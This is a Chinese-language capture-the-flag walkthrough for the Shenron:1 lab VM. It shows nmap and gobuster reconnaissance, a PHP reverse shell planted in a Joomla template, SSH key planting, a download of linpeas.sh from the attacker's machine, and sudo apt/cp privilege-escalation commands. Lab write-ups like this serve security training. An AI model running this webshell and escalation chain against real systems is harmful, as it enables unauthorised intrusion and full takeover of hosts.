Shenron:1
一、基本信息
名称:shenron:1
发布日期:2020.12.15
作者:Shubham mandloi
系列:shenron
推特:@shubhammandloi
二、靶机简介
Flags:
root:/root/root.txt
难度:中等
三、文件信息
文件名:shenron-1.ova
文件大小:1.3GB
下载地址:
MD5: 3D9F0F620846BC15F4591E7AC56C04B2
SHA1: 4E1D33E2338ADA4CA1C093CD67725850A033BAAD
四、镜像信息
格式:Virtual Machine (Virtualbox - OVA)
操作系统:Linux(ubuntu)
五、网络信息
DHCP服务:可用
IP地址:自动分配
六、环境配置
1.将靶机shenron1和攻击机kali2021在VirtualBox下设置为桥接模式,使用DHCP分配ip地址:
七、攻略步骤
信息探测
1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:
1 ifconfig,查看kali分配到的ip
1 nmap -sP 192.168.56.0/24,扫描靶机ip2.再进行端口扫描,发现只开放22,80端口,访问主页还是apache2的初始页:
1 nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.113 | tee nmapscan,端口扫描3.最后再进行一下目录扫描,发现/joomla和/test两个值得关注的目录,可以进行访问:
1 gobuster dir -u http://192.168.56.113/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描
寻找密码,登录joomla后台
1.访问192.168.56.113/test,发现有password文件,查看password源码,能够发现admin用户的密码:
2.可以用admin用户登录joomla管理后台:
1 gobuster dir -u http://192.168.56.113/joomla -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,寻找后台
上传webshell
1.修改kali自带的webshell,/usr/share/webshells/php/php-reverse-shell.php,同时开启kali端口监听:
2.在joomla后台管理页Templates-Templates-Protostar Details and Files-error.php内写入webshell内容后保存:
3.访问不存在页面,触发webshell,再使用python构建交互式shell:
SSH免密登录,逐步提权
1.在/var/www/html/joomla目录下,我们从configuration.php文件中可以发现jenny用户及其密码,可用作登录:
2.登录jenny用户后,我们尝试使用ssh免密登录:
1 cat ~/.ssh/id_rsa.pub,首先在kali上查看自己的ssh密钥并复制下来,没有的话执行ssh-keygen,回车默认
1
2
3 cd ~
cd .ssh
echo __public key__ >> authorized_keys,在jenny用户进入/.ssh目录,写入kali复制的密钥3.接着我们进行执行权限查看,发现shenron用户可以使用复制命令,则刚好可以把jenny现在有的ssh密钥复制过去,免密登录shenron:
1 sudo -l
1
2 cp /home/jenny/.ssh/authorized_keys /tmp/
sudo -u shenron cp /tmp/authorized_keys /home/shenron/.ssh/
root提权
1.在/var/opt目录下,我们能发现password.txt,应该是shenron用户的密码:
1
2
3
4
5 Python3 -m http.server 8001,在kali开放http服务
cd /tmp
wget http://192.168.56.102:8001/linpeas.sh,使用linpeas.sh工具扫描
chmod +x linpeas.sh
./linpeas.sh | tee output2.在shenron用户基础上,再查看权限,发现所有用户都可以使用apt,则用apt进行提权(详见https://gtfobins.github.io/gtfobins/apt-get/):
1
2
3 TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
sudo apt install -c $TF sl3.在root用户/root目录下,可以查看flag,即root.txt: